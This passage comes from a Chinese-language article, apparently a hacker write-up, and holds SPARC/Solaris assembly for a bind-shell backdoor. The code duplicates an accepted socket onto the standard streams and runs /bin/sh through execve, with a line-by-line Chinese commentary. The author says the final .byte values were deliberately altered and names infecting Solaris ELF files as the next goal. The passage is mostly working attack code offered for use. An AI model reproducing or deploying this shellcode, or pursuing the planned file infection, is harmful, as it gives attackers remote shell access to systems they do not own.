        clr   %g1
        ta    8                    ! dup2( c, 0 )
        mov   0x3e, %o0            ! 第一个参数62
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        mov   0x09, %o2
        mov   0x01, %o3
        clr   %g1
        ta    8                    ! dup2( c, 1 )
        mov   0x3e, %o0            ! 第一个参数62
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        mov   0x09, %o2
        mov   0x02, %o3
        clr   %g1
        ta    8                    ! dup2( c, 2 )
        mov   0x06, %o0            ! 第一个参数6
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        clr   %g1
        ta    8                    ! close( c )
        sethi 0xbd89a, %l4         ! sethi  %hi(0x2f626800), %l4
        or    %l4, 0x16e, %l4
        sethi 0xbdcda, %l5         ! sethi  %hi(0x2f736800), %l5
        and   %sp, %sp, %o0        ! $o0 指向字符串/bin/sh
        add   %sp, 8, %o1          ! $o1 存放一个地址,该地址处存放了指向字符串的指针
        xor   %o2, %o2, %o2        ! %o2寄存器清零
        add   %sp, 16, %sp         ! 留出存储空间
        std   %l4, [%sp - 16]      ! 存放字符串
        st    %o0, [%sp - 8]       ! 存放字符串指针
        st    %g0, [%sp - 4]       ! %g0总是为0
        mov   0x3b, %g1            ! 将0x3b拷贝到%g1寄存器中
        ta    8                    ! 执行中断指令ta 8(execve()完成)
        call  exit                 ! 保护措施,防止失控
        nop
loop:
        mov   0x06, %o0            ! 第一个参数6
        ld    [ %l7 + 4 ], %o1     ! 第二个参数c
        clr   %g1
        ta    8                    ! close( c )
        call  accept
        nop
exit:
        mov   0x01, %o0
        clr   %o1
        clr   %g1
        ta    8                    ! exit( 0 )
        .byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
        .byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
        .byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
        .byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
    ");
}  /* end of main */
--------------------------------------------------------------------------

7.12注:由于众所周知的原因,最后的四个.byte指令我全部替换成现在的样子,如
        果你看懂了原理,自己随便改改就是了,否则别怨我什么。

测试后效果还可以,接下来的任务是SPARC/Solaris下ELF格式文件的感染,估计很头
疼,如果实在太难我就放弃了,这个方向不是那么好玩的,弄不好把自己就给兜进去
了。

一个遗留问题,应该处理一下bind()失败的情形,Linux版本都处理了,SPARC版本尚
未处理,今做一工作记录,以免你忘却(马语者)。

<完>
版权所有,未经许可,不得转载